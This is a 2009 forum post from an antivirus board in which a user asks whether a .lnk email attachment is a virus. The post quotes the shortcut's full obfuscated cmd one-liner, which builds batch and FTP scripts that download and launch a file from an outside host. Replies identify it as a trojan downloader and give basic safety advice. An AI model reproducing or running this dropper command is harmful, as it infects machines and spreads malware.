作者fullid (暧暧内含光)
看板AntiVirus
标题[问题] 病毒有可能伪装成.lnk吗?
时间Sat Apr 25 21:55:43 2009
我收到一封朋友寄的信, 标题是"我要公布我的秘密情人!"
里面只有一个附档, 副档名是.lnk,
我先试着用ultraedit打开, 结果一下子闪过好几个类似像在解压缩的视窗,
没看清楚.
後来查看内容, 想看看这lnk目标是哪里, 结果如下:
%ComSpec% /c echo set a=.>z.bat&echo echo o www%a%g03z%a%com^>l>>z.bat&call
z.bat&echo aa33>>l&echo bb33>>l&echo set s=echo g>m&echo set vt=tp ->>m&echo
%s%et p p.vbs^>^>l>>m&echo echo bye^>^>l>>m&echo f%vt%s:l>>m&echo start
p.vbs>>m&ren m s.bat&s.bat&
请问这是某种病毒吗? 我刚google过并没看到类似的东西...
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 72.66.29.142
1F：推 xiaoyao:应该会有木马下载 断网扫毒 04/25 22:04
2F：推 junorn:就利用cmd的批次语法写入一个vbs後在下载木马到电脑内 04/25 22:08
3F：推 bestpika:这病毒出很久了.... 04/25 22:09
4F：推 mantohu:收了十年的信真的没收过朋友会寄这种标题的... 04/25 22:13
5F：推 ilanese:反正遇到奇怪的档案就不要乱开就对了。 04/25 22:28
6F：→ chyl:这类信我一律删,不会想去看 04/25 23:15
7F：推 vaca1:即使是认识的朋友寄的 也不要开 朋友也有可能中木马 04/26 00:19
8F：推 knight00931:有标题就可以未看先猜了 04/26 01:01
9F：推 doom3:恭喜中标XD 04/28 09:01